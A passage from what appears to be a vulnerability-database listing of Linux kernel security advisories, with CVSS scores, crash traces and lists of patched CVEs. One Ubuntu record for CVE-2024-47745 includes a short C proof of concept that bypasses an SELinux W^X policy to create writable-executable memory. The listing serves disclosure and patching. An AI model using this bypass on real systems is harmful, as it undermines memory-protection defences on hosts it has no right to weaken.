do_syscall_64+0x40/0x110 arch/x86/entry/common.c:82 entry_SYSCALL_64_after_hwframe+0x63/0x6b

Found by Linux Verification Center (linuxtesting.org) with Syzkaller(CVE-2024-43817)

In the Linux kernel, the following vulnerability has been resolved:

netfilter: flowtable: initialise extack…

Record
OESA-2024-2493
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVOESA-2024-2494 7.8

kernel security update

The Linux Kernel, the operating system core itself.

Security Fix(es):

In the Linux kernel, the following vulnerability has been resolved:

bonding: stop the device in bond_setup_by_slave()

Commit 9eed321cde22 ("net: lapbether: only support ethernet devices") has been able to keep syzbot away from net/lapb, until today.

In the following splat [1], the issue is that a lapbether device has been created on a bonding device without members. Then adding a non ARPHRD_ETHER member forced the bonding master to change its type.

The fix is to make sure we call dev_close() in bond_setup_by_slave() so that the potential linked lapbether devices (or any other devices having assumptions on the physical device) are removed.

A similar bug has been addressed in commit 40baec225765 ("bonding: fix panic on non-ARPHRD_ETHER enslave failure")

[1] skbuff: skb_under_panic: text:ffff800089508810 len:44 put:40 head:ffff0000c78e7c00 data:ffff0000c78e7bea tail:0x16 end:0x140 dev:bond0 kernel BUG at net/core/skbuff.c:192 ! Internal error: Oops - BUG: 00000000f2000800 [#1] PREEMPT SMP Modules linked in: CPU: 0 PID: 6007 Comm: syz-executor383 Not tainted 6.6.0-rc3-syzkaller-gbf6547d8715b #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 08/04/2023 pstate: 60400005 (nZCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : skb_panic net/core/skbuff.c:188 [inline] pc : skb_under_panic+0x13c/0x140 net/core/skbuff.c:202 lr : skb_panic net/core/skbuff.c:188 [inline] lr : skb_under_panic+0x13c/0x140 net/core/skbuff.c:202 sp : ffff800096a06aa0 x29: ffff800096a06ab0 x28: ffff800096a06ba0 x27: dfff800000000000 x26: ffff0000ce9b9b50 x25: 0000000000000016 x24: ffff0000c78e7bea x23: ffff0000c78e7c00 x22: 000000000000002c x21: 0000000000000140 x20: 0000000000000028 x19: ffff800089508810 x18: ffff800096a06100 x17: 0000000000000000 x16: ffff80008a629a3c x15: 0000000000000001 x14: 1fffe00036837a32 x13: 0000000000000000 x12: 0000000000000000 x11: 0000000000000201 x10: 0000000000000000 x9 : cb50b496c519aa00 x8 : cb50b496c519aa00 x7 : 0000000000000001 x6 : 0000000000000001 x5 : ffff800096a063b8 x4 : ffff80008e280f80 x3 : ffff8000805ad11c x2 : 0000000000000001 x1 : 0000000100000201 x0 : 0000000000000086 Call trace: skb_panic net/core/skbuff.c:188 [inline] skb_under_panic+0x13c/0x140 net/core/skbuff.c:202 skb_push+0xf0/0x108 net/core/skbuff.c:2446 ip6gre_header+0xbc/0x738 net/ipv6/ip6_gre.c:1384 dev_hard_header include/linux/netdevice.h:3136 [inline] lapbeth_data_transmit+0x1c4/0x298 drivers/net/wan/lapbether.c:257 lapb_data_transmit+0x8c/0xb0 net/lapb/lapb_iface.c:447 lapb_transmit_buffer+0x178/0x204 net/lapb/lapb_out.c:149 lapb_send_control+0x220/0x320 net/lapb/lapb_subr.c:251 __lapb_disconnect_request+0x9c/0x17c net/lapb/lapb_iface.c:326 lapb_device_event+0x288/0x4e0 net/lapb/lapb_iface.c:492 notifier_call_chain+0x1a4/0x510 kernel/notifier.c:93 raw_notifier_call_chain+0x3c/0x50 kernel/notifier.c:461 call_netdevice_notifiers_info net/core/dev.c:1970 [inline] call_netdevice_notifiers_extack net/core/dev.c:2008 [inline] call_netdevice_notifiers net/core/dev.c:2022 [inline] __dev_close_many+0x1b8/0x3c4 net/core/dev.c:1508 dev_close_many+0x1e0/0x470 net/core/dev.c:1559 dev_close+0x174/0x250 net/core/dev.c:1585 lapbeth_device_event+0x2e4/0x958 drivers/net/wan/lapbether.c:466 notifier_call_chain+0x1a4/0x510 kernel/notifier.c:93 raw_notifier_call_chain+0x3c/0x50 kernel/notifier.c:461 call_netdevice_notifiers_info net/core/dev.c:1970 [inline] call_netdevice_notifiers_extack net/core/dev.c:2008 [inline] call_netdevice_notifiers net/core/dev.c:2022 [inline] __dev_close_many+0x1b8/0x3c4 net/core/dev.c:1508 dev_close_many+0x1e0/0x470 net/core/dev.c:1559 dev_close+0x174/0x250 net/core/dev.c:1585 bond_enslave+0x2298/0x30cc drivers/net/bonding/bond_main.c:2332 bond_do_ioctl+0x268/0xc64 drivers/net/bonding/bond_main.c:4539 dev_ifsioc+0x754/0x9ac dev_ioctl+0x4d8/0xd34 net/core/dev_ioctl.c:786 sock_do_ioctl+0x1d4/0x2d0…

Record
OESA-2024-2494
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVRHSA-2025:4509 8.0

Red Hat Security Advisory: kernel security update

Record
RHSA-2025:4509
CVSS 3.1
8.0 HighCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVRHSA-2025:6966 7.8

Red Hat Security Advisory: kernel security update

Record
RHSA-2025:6966
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVRHSA-2025:7676 7.8

Red Hat Security Advisory: kernel-rt security update

Record
RHSA-2025:7676
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVRHSA-2025:7683 7.8

Red Hat Security Advisory: kernel security update

Record
RHSA-2025:7683
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVROOT-OS-DEBIAN-11-CVE-2024-47745 7.8

CVE-2024-47745 in linux - Patched by Root

Root has patched CVE-2024-47745 in the linux package for Root:Debian:11. Multiple fixed versions available.

Record
ROOT-OS-DEBIAN-11-CVE-2024-47745
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVROOT-OS-UBUNTU-2204-CVE-2024-47745 7.8

CVE-2024-47745 in linux - Patched by Root

Root has patched CVE-2024-47745 in the linux package for Root:Ubuntu:22.04. Multiple fixed versions available.

Record
ROOT-OS-UBUNTU-2204-CVE-2024-47745
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-06
OSVUBUNTU-CVE-2024-47745 4.8

In the Linux kernel, the following vulnerability has been resolved: mm: call the security_mmap_file() LSM hook in remap_file_pages() The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux. So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux. The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1]. The PoC: $ cat > test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted) [PM: subject line tweaks]

Record
UBUNTU-CVE-2024-47745
CVSS 4.0
4.8 MediumCVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-06
OSVCLSA-2024-1731348593 No score

kernel: Fix of 18 CVEs

  • mm: call the security_mmap_file() LSM hook in remap_file_pages() {CVE-2024-47745}
  • slip: make slhc_remember() more robust against malicious packets {CVE-2024-50033}
  • drm/amdkfd: amdkfd_free_gtt_mem clear the correct pointer {CVE-2024-49991}
  • firmware_loader: Block path traversal {CVE-2024-47742}
  • ext4: avoid OOB when system.data xattr changes underneath the filesystem {CVE-2024-47701}
  • tty: n_gsm: Fix use-after-free in gsm_cleanup_mux {CVE-2024-50073}
  • Bluetooth: L2CAP: Fix uaf in l2cap_connect {CVE-2024-49950}
  • ext4: avoid use-after-free in ext4_ext_show_leaf() {CVE-2024-49889}
  • driver core: bus: Fix double free in driver API bus_register() {CVE-2024-50055}
  • ext4: fix timer use-after-free on failed mount {CVE-2024-49960}
  • smack: tcp: ipv4, fix incorrect labeling {CVE-2024-47659}
  • ppp: fix ppp_async_encode() illegal access {CVE-2024-50035}
  • ALSA: asihpi: Fix potential OOB array access {CVE-2024-50007}
  • ext4: no need to continue when the number of entries is 1 {CVE-2024-49967}
  • drm/amd/display: Fix index out of bounds in degamma hardware format translation {CVE-2024-49894}
  • ext4: fix double brelse() the buffer of the extents path {CVE-2024-49882}
  • ACPI: sysfs: validate return type of _STR method {CVE-2024-49860}
  • bna: adjust 'name' buf size of bna_tcb and bna_ccb structures {CVE-2024-43839}
Record
CLSA-2024-1731348593
Updated
2026-11-02
OSVCLSA-2024-1731430561 No score

kernel: Fix of 29 CVEs

  • driver core: bus: Fix double free in driver API bus_register() {CVE-2024-50055}
  • net: tun: Fix use-after-free in tun_detach() {CVE-2022-49014}
  • memcg: fix possible use-after-free in memcg_write_event_control() {CVE-2022-48988}
  • ppp: fix ppp_async_encode() illegal access {CVE-2024-50035}
  • drivers: media: dvb-frontends/rtl2832: fix an out-of-bounds write error {CVE-2024-47698}
  • hwmon: (ibmpex) Fix possible UAF when ibmpex_register_bmc() fails {CVE-2022-49029}
  • tipc: guard against string buffer overrun {CVE-2024-49995}
  • ext4: fix double brelse() the buffer of the extents path {CVE-2024-49882}
  • ACPI: sysfs: validate return type of _STR method {CVE-2024-49860}
  • ext4: aovid use-after-free in ext4_ext_insert_extent() {CVE-2024-49883}
  • ext4: no need to continue when the number of entries is 1 {CVE-2024-49967}
  • padata: Fix possible divide-by-0 panic in padata_mt_helper() {CVE-2024-43889}
  • hwmon: (coretemp) Check for null before removing sysfs attrs {CVE-2022-49010}
  • drivers: media: dvb-frontends/rtl2830: fix an out-of-bounds write error {CVE-2024-47697}
  • wifi: ath11k: fix array out-of-bound access in SoC stats {CVE-2024-49930}
  • ipv6: avoid use-after-free in ip6_fragment() {CVE-2022-48956}
  • netfilter: nf_reject_ipv6: fix nf_reject_ip6_tcphdr_put() {CVE-2024-47685}
  • drm/i915/gt: Fix potential UAF by revoke of fence registers {CVE-2024-41092}
  • slip: make slhc_remember() more robust against malicious packets {CVE-2024-50033}
  • drm/amdkfd: amdkfd_free_gtt_mem clear the correct pointer {CVE-2024-49991}
  • tty: n_gsm: Fix use-after-free in gsm_cleanup_mux {CVE-2024-50073}
  • ext4: fix timer use-after-free on failed mount {CVE-2024-49960}
  • ext4: avoid use-after-free in ext4_ext_show_leaf() {CVE-2024-49889}
  • mm: call the security_mmap_file() LSM hook in remap_file_pages() {CVE-2024-47745}
  • firmware_loader: Block path traversal {CVE-2024-47742}
  • ext4: avoid OOB when system.data xattr changes underneath the filesystem {CVE-2024-47701}
  • tcp: drop the hash_32() part from the index calculation {CVE-2022-1012}
  • tcp: increase source port perturb table to 2^16 {CVE-2022-1012}
  • tcp: dynamically allocate the perturb table used by source ports {CVE-2022-1012}
  • net: dccp: fix kernel crash on module load {CVE-2022-1012}
  • net: dccp: initialize (addr,port) listening hashtable {CVE-2022-1012}
  • tcp: add small random increments to the source port {CVE-2022-1012}
  • tcp: resalt the secret every 10 seconds {CVE-2022-1012}
  • tcp: use different parts of the port_offset for index and offset {CVE-2022-1012}
  • secure_seq: use the 64 bits of the siphash for port offset calculation {CVE-2022-1012}
  • Revert "[ELSCVE-6395] secure_seq: use the 64 bits of the siphash for port offset calculation" {CVE-2022-1012}
  • tcp: add some entropy in __inet_hash_connect() {CVE-2022-1012}
  • tcp: change source port randomizarion at connect() time {CVE-2022-1012}
  • esp: limit skb_page_frag_refill use to a single page {CVE-2022-27666}
  • drm/vmwgfx: Fix stale file descriptors on failed usercopy {CVE-2022-22942}
  • drm/i915: Fix the GT fence revocation runtime PM logic {CVE-2022-0330}
  • PM: runtime: Add pm_runtime_get_if_active() {CVE-2022-0330}
  • PM-runtime: add tracepoints for usage_count changes {CVE-2022-0330}
  • fget: clarify and improve __fget_files() implementation {CVE-2021-4083}
  • proc/fd: In proc_fd_link use fget_task {CVE-2021-4083}
  • kcmp: In kcmp_epoll_target use fget_task {CVE-2021-4083}
  • file: Rename __fcheck_files to files_lookup_fd_raw {CVE-2021-4083}
  • bpf: In bpf_task_fd_query use fget_task {CVE-2021-4083}
  • fget: check that the fd still exists after getting a ref to it {CVE-2021-4083}
  • Revert "[ELSCVE-2732] fget: check that the fd still exists after getting a ref to it" {CVE-2021-4083}
  • file: Replace fcheck_files with files_lookup_fd_rcu {CVE-2021-4083}
  • file: Factor files_lookup_fd_locked out of fcheck_files {CVE-2021-4083}
  • vfs, fdtable: Add fget_task helper {CVE-2021-4083}
Record
CLSA-2024-1731430561
Updated
2026-11-02
OSVCLSA-2024-1731431059 No score

kernel: Fix of 29 CVEs

  • driver core: bus: Fix double free in driver API bus_register() {CVE-2024-50055}
  • net: tun: Fix use-after-free in tun_detach() {CVE-2022-49014}
  • memcg: fix possible use-after-free in memcg_write_event_control() {CVE-2022-48988}
  • ppp: fix ppp_async_encode() illegal access {CVE-2024-50035}
  • drivers: media: dvb-frontends/rtl2832: fix an out-of-bounds write error {CVE-2024-47698}
  • hwmon: (ibmpex) Fix possible UAF when ibmpex_register_bmc() fails {CVE-2022-49029}
  • tipc: guard against string buffer overrun {CVE-2024-49995}
  • ext4: fix double brelse() the buffer of the extents path {CVE-2024-49882}
  • ACPI: sysfs: validate return type of _STR method {CVE-2024-49860}
  • ext4: aovid use-after-free in ext4_ext_insert_extent() {CVE-2024-49883}
  • ext4: no need to continue when the number of entries is 1 {CVE-2024-49967}
  • padata: Fix possible divide-by-0 panic in padata_mt_helper() {CVE-2024-43889}
  • hwmon: (coretemp) Check for null before removing sysfs attrs {CVE-2022-49010}
  • drivers: media: dvb-frontends/rtl2830: fix an out-of-bounds write error {CVE-2024-47697}
  • wifi: ath11k: fix array out-of-bound access in SoC stats {CVE-2024-49930}
  • ipv6: avoid use-after-free in ip6_fragment() {CVE-2022-48956}
  • netfilter: nf_reject_ipv6: fix nf_reject_ip6_tcphdr_put() {CVE-2024-47685}
  • drm/i915/gt: Fix potential UAF by revoke of fence registers {CVE-2024-41092}
  • slip: make slhc_remember() more robust against malicious packets {CVE-2024-50033}
  • drm/amdkfd: amdkfd_free_gtt_mem clear the correct pointer {CVE-2024-49991}
  • tty: n_gsm: Fix use-after-free in gsm_cleanup_mux {CVE-2024-50073}
  • ext4: fix timer use-after-free on failed mount {CVE-2024-49960}
  • ext4: avoid use-after-free in ext4_ext_show_leaf() {CVE-2024-49889}
  • mm: call the security_mmap_file() LSM hook in remap_file_pages() {CVE-2024-47745}
  • firmware_loader: Block path traversal {CVE-2024-47742}
  • ext4: avoid OOB when system.data xattr changes underneath the filesystem {CVE-2024-47701}
  • tcp: drop the hash_32() part from the index calculation {CVE-2022-1012}
  • tcp: increase source port perturb table to 2^16 {CVE-2022-1012}
  • tcp: dynamically allocate the perturb table used by source ports {CVE-2022-1012}
  • net: dccp: fix kernel crash on module load {CVE-2022-1012}
  • net: dccp: initialize (addr,port) listening hashtable {CVE-2022-1012}
  • tcp: add small random increments to the source port {CVE-2022-1012}
  • tcp: resalt the secret every 10 seconds {CVE-2022-1012}
  • tcp: use different parts of the port_offset for index and offset {CVE-2022-1012}
  • secure_seq: use the 64 bits of the siphash for port offset calculation {CVE-2022-1012}
  • Revert "[ELSCVE-6395] secure_seq: use the 64 bits of the siphash for port offset calculation" {CVE-2022-1012}
  • tcp: add some entropy in __inet_hash_connect() {CVE-2022-1012}
  • tcp: change source port randomizarion at connect() time {CVE-2022-1012}
  • esp: limit skb_page_frag_refill use to a single page {CVE-2022-27666}
  • drm/vmwgfx: Fix stale file descriptors on failed usercopy {CVE-2022-22942}
  • PM-runtime: add tracepoints for usage_count changes {CVE-2022-0330}
  • fget: clarify and improve __fget_files() implementation {CVE-2021-4083}
  • proc/fd: In proc_fd_link use fget_task {CVE-2021-4083}
  • kcmp: In kcmp_epoll_target use fget_task {CVE-2021-4083}
  • file: Rename __fcheck_files to files_lookup_fd_raw {CVE-2021-4083}
  • fget: check that the fd still exists after getting a ref to it {CVE-2021-4083}
  • Revert "[ELSCVE-2732] fget: check that the fd still exists after getting a ref to it" {CVE-2021-4083}
  • file: Replace fcheck_files with files_lookup_fd_rcu {CVE-2021-4083}
  • file: Factor files_lookup_fd_locked out of fcheck_files {CVE-2021-4083}
Record
CLSA-2024-1731431059
Updated
2026-11-02
OSVCLSA-2024-1731431756 No score

kernel: Fix of 30 CVEs

  • tty: n_gsm: Fix use-after-free in gsm_cleanup_mux {CVE-2024-50073}
  • drm/amdkfd: amdkfd_free_gtt_mem clear the correct pointer {CVE-2024-49991}
  • ext4: fix timer use-after-free on failed mount {CVE-2024-49960}
  • ext4: avoid use-after-free in ext4_ext_show_leaf() {CVE-2024-49889}
  • ext4: fix slab-use-after-free in ext4_split_extent_at() {CVE-2024-49884}
  • mm: call the security_mmap_file() LSM hook in remap_file_pages() {CVE-2024-47745}
  • ext4: avoid OOB when system.data xattr changes underneath the filesystem {CVE-2024-47701}
  • drm/amd/display: Correct the defined value for AMDGPU_DMUB_NOTIFICATION_MAX {CVE-2024-46871}
  • Bluetooth: L2CAP: Fix uaf in l2cap_connect {CVE-2024-49950}
  • Bluetooth: l2cap: Don't double set the HCI_CONN_MGMT_CONNECTED bit {CVE-2024-49950}
  • driver core: bus: Fix double free in driver API bus_register() {CVE-2024-50055}
  • padata: Fix possible divide-by-0 panic in padata_mt_helper() {CVE-2024-43889}
  • wifi: ath11k: fix array out-of-bound access in SoC stats {CVE-2024-49930}
  • net: tun: Fix use-after-free in tun_detach() {CVE-2022-49014}
  • ppp: fix ppp_async_encode() illegal access {CVE-2024-50035}
  • drivers: media: dvb-frontends/rtl2832: fix an out-of-bounds write error {CVE-2024-47698}
  • hwmon: (ibmpex) Fix possible UAF when ibmpex_register_bmc() fails {CVE-2022-49029}
  • tipc: guard against string buffer overrun {CVE-2024-49995}
  • ext4: fix double brelse() the buffer of the extents path {CVE-2024-49882}
  • ACPI: sysfs: validate return type of _STR method {CVE-2024-49860}
  • ext4: aovid use-after-free in ext4_ext_insert_extent() {CVE-2024-49883}
  • drivers: media: dvb-frontends/rtl2830: fix an out-of-bounds write error {CVE-2024-47697}
  • slip: make slhc_remember() more robust against malicious packets {CVE-2024-50033}
  • net: delete "register" keyword {CVE-2024-50033}
  • drm/amd/display: fix double free issue during amdgpu module unload {CVE-2024-49989}
  • drm/amd/display: Fix index out of bounds in degamma hardware format translation {CVE-2024-49894}
  • drm/amd/display: Fix index out of bounds in DCN30 color transformation {CVE-2024-49969}
  • drm/i915/gt: Fix potential UAF by revoke of fence registers {CVE-2024-41092}
  • drm/amd/display: Fix index out of bounds in DCN30 degamma hardware format translation {CVE-2024-49895}
  • ext4: no need to continue when the number of entries is 1 {CVE-2024-49967}
  • netfilter: nf_reject_ipv6: fix nf_reject_ip6_tcphdr_put() {CVE-2024-47685}
  • net/sunrpc: fix reference count leaks in rpc_sysfs_xprt_state_change {CVE-2021-47624}
Record
CLSA-2024-1731431756
Updated
2026-11-02
OSVCLSA-2024-1731602566 No score

Fix of 76 CVEs

Record
CLSA-2024-1731602566
Updated
2026-11-02
OSVCLSA-2024-1731603213 No score

Fix of 76 CVEs

Record
CLSA-2024-1731603213
Updated
2026-11-02
OSVCLSA-2024-1731605761 No score

Fix of 67 CVEs

Record
CLSA-2024-1731605761
Updated
2026-11-02
OSVCLSA-2024-1731606243 No score

Fix of 67 CVEs

Record
CLSA-2024-1731606243
Updated
2026-11-02
OSVCLSA-2024-1731933167 No score

kernel: Fix of 36 CVEs

  • smb: client: fix use-after-free in smb2_query_info_compound() {CVE-2023-52751}
  • smb: client: prevent new fids from being removed by laundromat {CVE-2023-52751}
  • cifs: fix dentry lookups in directory handle cache {CVE-2023-52751}
  • uprobe: avoid out-of-bounds memory access of fetching args {CVE-2024-50067}
  • net: do not delay dst_entries_add() in dst_release() {CVE-2024-50036}
  • smb: client: fix UAF in async decryption {CVE-2024-50047}
  • smb3: rename encryption/decryption TFMs
  • mm: call the security_mmap_file() LSM hook in remap_file_pages() {CVE-2024-47745}
  • ext4: avoid OOB when system.data xattr changes underneath the filesystem {CVE-2024-47701}
  • tty: n_gsm: Fix use-after-free in gsm_cleanup_mux {CVE-2024-50073}
  • driver core: bus: Fix double free in driver API bus_register() {CVE-2024-50055}
  • drm/amdkfd: amdkfd_free_gtt_mem clear the correct pointer {CVE-2024-49991}
  • drm/amd/display: fix double free issue during amdgpu module unload {CVE-2024-49989}
  • ext4: fix timer use-after-free on failed mount {CVE-2024-49960}
  • Bluetooth: L2CAP: Fix uaf in l2cap_connect {CVE-2024-49950}
  • Bluetooth: l2cap: Don't double set the HCI_CONN_MGMT_CONNECTED bit {CVE-2024-49950}
  • mptcp: pm: Fix uaf in __timer_delete_sync {CVE-2024-46858}
  • of: fdt: fix off-by-one error in unflatten_dt_nodes() {CVE-2022-48672}
  • filelock: fix potential use-after-free in posix_lock_inode {CVE-2024-41049}
  • locks: fix KASAN: use-after-free in trace_event_raw_event_filelock_lock {CVE-2024-41049}
  • drm/i915/gt: Fix potential UAF by revoke of fence registers {CVE-2024-41092}
  • ext4: no need to continue when the number of entries is 1 {CVE-2024-49967}
  • drm/amd/display: Fix index out of bounds in DCN30 degamma hardware format translation {CVE-2024-49895}
  • slip: make slhc_remember() more robust against malicious packets {CVE-2024-50033}
  • drm/amd/display: Fix index out of bounds in DCN30 color transformation {CVE-2024-49969}
  • drm/amd/display: Fix index out of bounds in degamma hardware format translation {CVE-2024-49894}
  • ext4: aovid use-after-free in ext4_ext_insert_extent() {CVE-2024-49883}
  • ACPI: sysfs: validate return type of _STR method {CVE-2024-49860}
  • ext4: fix double brelse() the buffer of the extents path {CVE-2024-49882}
  • tipc: guard against string buffer overrun {CVE-2024-49995}
  • drivers: media: dvb-frontends/rtl2832: fix an out-of-bounds write error {CVE-2024-47698}
  • firmware_loader: Block path traversal {CVE-2024-47742}
  • ppp: fix ppp_async_encode() illegal access {CVE-2024-50035}
  • netfilter: nf_reject_ipv6: fix nf_reject_ip6_tcphdr_put() {CVE-2024-47685}
  • ext4: fix slab-use-after-free in ext4_split_extent_at() {CVE-2024-49884}
  • drm/amd/display: Correct the defined value for AMDGPU_DMUB_NOTIFICATION_MAX {CVE-2024-46871}
  • ext4: avoid use-after-free in ext4_ext_show_leaf() {CVE-2024-49889}
  • wifi: ath11k: fix array out-of-bound access in SoC stats {CVE-2024-49930}
  • net: do not leave a dangling sk pointer, when socket creation fails {CVE-2024-40954}
  • net: sched: sch_multiq: fix possible OOB write in multiq_tune() {CVE-2024-36978}
  • drm/amdgpu: Validate TA binary size {CVE-2024-44977}
Record
CLSA-2024-1731933167
Updated
2026-11-02
OSVCLSA-2026-1775655705 No score

kernel-uek: Fix of 34 CVEs

  • ALSA: usb-audio: Fix use-after-free in snd_usb_mixer_free() {CVE-2026-23089}
  • HID: core: Harden s32ton() against conversion to 0 bits {CVE-2025-38556}
  • KVM: nSVM: Ignore nCR3[4:0] when loading PDPTEs from memory {CVE-2024-50115}
  • KVM: x86: Reset IRTE to host control if new route isn't postable {CVE-2025-37885}
  • NFSD: Protect against send buffer overflow in NFSv2 READ {CVE-2022-43945}
  • NFSv4/pNFS: Clear NFS_INO_LAYOUTCOMMIT in pnfs_mark_layout_stateid_invalid {CVE-2025-68349}
  • Revert "IB/core: Implement clear counters"
  • Revert "IB/mlx5: Implement clear counters"
  • Revert "ib/core: add SET_DEVICE_OP call for clear_hw_stats()"
  • Revert "perf/x86: Always store regs->ip in perf_callchain_kernel()"
  • Revert "xfrm: destroy xfrm_state synchronously on net exit path"
  • bpf, sockmap: Fix race between element replace and close() {CVE-2024-56664}
  • can: kvaser_usb: kvaser_usb_read_bulk_callback(): fix URB memory leak {CVE-2026-23061}
  • crypto: authencesn - reject too-short AAD (assoclen<8) to match ESP/ESN spec {CVE-2026-23060}
  • crypto: lzo - Fix compression buffer overrun {CVE-2025-38068}
  • drm/amd/pm: fix the Out-of-bounds read warning {CVE-2024-46731}
  • drm/amdgpu: Fix out-of-bounds read of df_v1_7_channel_number {CVE-2024-46724}
  • drm/amdkfd: amdkfd_free_gtt_mem clear the correct pointer {CVE-2024-49991}
  • ext4/jbd2: skip sb flush when EIO happened
  • ext4: save the error code which triggered an
  • fou: remove warn in gue_gro_receive on unsupported protocol {CVE-2024-44940}
  • fs: proc: inode: delay put_pid() by RCU
  • fs: writeback: fix use-after-free in __mark_inode_dirty() {CVE-2025-39866}
  • genirq/cpuhotplug: Notify about affinity changes breaking the affinity mask
  • io_uring: fix filename leak in __io_openat_prep() {CVE-2025-68814}
  • jbd2: store more accurate errno in superblock
  • libceph: fix potential use-after-free in have_mon_and_osd_map() {CVE-2025-68285}
  • libceph: make free_choose_arg_map() resilient to partial allocation {CVE-2026-22991}
  • macvlan: Add nodst option to macvlan type source
  • macvlan: Use 'hash' iterators to simplify code
  • macvlan: fix error recovery in macvlan_common_newlink() {CVE-2026-23209}
  • macvlan: fix possible UAF in macvlan_forward_source() {CVE-2026-23001}
  • macvlan: observe an RCU grace period in macvlan_common_newlink() error path {CVE-2026-23273}
  • media: xc2028: avoid use-after-free in load_firmware_cb() {CVE-2024-43900}
  • mm: call the security_mmap_file() LSM hook in remap_file_pages() {CVE-2024-47745}
  • net/sched: sch_qfq: do not free existing class in qfq_change_class() {CVE-2026-22999}
  • net: sock: fix hardened usercopy panic in sock_recv_errqueue {CVE-2026-22977}
  • net: usb: rtl8150: fix memory leak on usb_submit_urb() failure {CVE-2025-71154}
  • rds: Add state field to RDS trace logs.
  • rds: Drop rds conn in connect worker if not in down state.
  • scsi: mpi3mr: Sanitise num_phys {CVE-2024-42159}
  • scsi: target: iscsi: Fix use-after-free in iscsit_dec_session_usage_count() {CVE-2026-23193}
  • tty: n_gsm: Fix use-after-free in gsm_cleanup_mux {CVE-2024-50073}
  • usb: core: config: Prevent OOB read in SS endpoint companion parsing {CVE-2025-39760}
  • vhost-scsi: Fix handling of multiple calls to vhost_scsi_set_endpoint {CVE-2025-22083}
  • wifi: iwlwifi: mvm: check n_ssids before accessing the ssids {CVE-2024-40929}
  • xfrm: also call xfrm_state_delete_tunnel at destroy time for states that were never added {CVE-2025-40256}
  • xfrm: delete x->tunnel as we delete x {CVE-2025-40215}
  • xfrm: flush all states in xfrm_state_fini
Record
CLSA-2026-1775655705
Updated
2026-11-02
OSVCLSA-2026-1787304608 No score

kernel-uek: Fix of 34 CVEs

  • Rebased onto Oracle UEK base 5.4.17-2136.357.2.el7uek
  • sctp: don't free the ASCONF's own transport in DEL-IP processing {CVE-2026-64564}
  • ocfs2/dlm: fix off-by-one in dlm_match_regions() region comparison {CVE-2026-53309}
  • ocfs2/dlm: validate qr_numregions in dlm_match_regions() {CVE-2026-53043}
  • ixgbevf: fix use-after-free in VEPA multicast source pruning {CVE-2026-64113}
  • ipv4: raw: reject IP_HDRINCL packets with ihl < 5 {CVE-2026-64114}
  • NFSv4: include MAY_WRITE in open permission mask for O_TRUNC {CVE-2026-64298}
  • fuse: re-lock request before returning from fuse_ref_folio() {CVE-2026-64266}
  • scsi: isci: Fix use-after-free in device removal path {CVE-2026-64103}
  • crypto: authencesn - reject too-short AAD (assoclen<8) to match ESP/ESN spec {CVE-2026-23060}
  • futex/requeue: Prevent NULL pointer dereference in remove_waiter() on self-deadlock {CVE-2026-53166}
  • net: af_key: zero aligned sockaddr tail in PF_KEY exports {CVE-2026-43088}
  • scsi: aic94xx: fix use-after-free in device removal path {CVE-2025-71075}
  • i2c: piix4: Fix adapter not be removed in piix4_remove() {CVE-2022-49900}
  • Bluetooth: MGMT: validate LTK enc_size on load {CVE-2026-43020}
  • ext4: convert inline data to extents when truncate exceeds inline size {CVE-2026-31452}
  • can: raw: fix ro->uniq use-after-free in raw_rcv() {CVE-2026-31532}
  • ALSA: 6fire: fix use-after-free on disconnect {CVE-2026-31581}
  • ocfs2: fix use-after-free in ocfs2_fault() when VM_FAULT_RETRY {CVE-2026-31597}
  • netfilter: nf_conntrack_helper: pass helper to expect cleanup {CVE-2026-43027}
  • drm/amdgpu: Fix use-after-free race in VM acquire {CVE-2026-43370}
  • xfrm_user: fix info leak in build_mapping() {CVE-2026-43089}
  • xfs: fix freemap adjustments when adding xattrs to leaf blocks {CVE-2026-43158}
  • libceph: make decode_pool() more resilient against corrupted osdmaps {CVE-2025-71116}
  • e1000: fix OOB in e1000_tbi_should_accept() {CVE-2025-71093}
  • ALSA: usb-audio: Use correct version for UAC3 header validation {CVE-2026-23318}
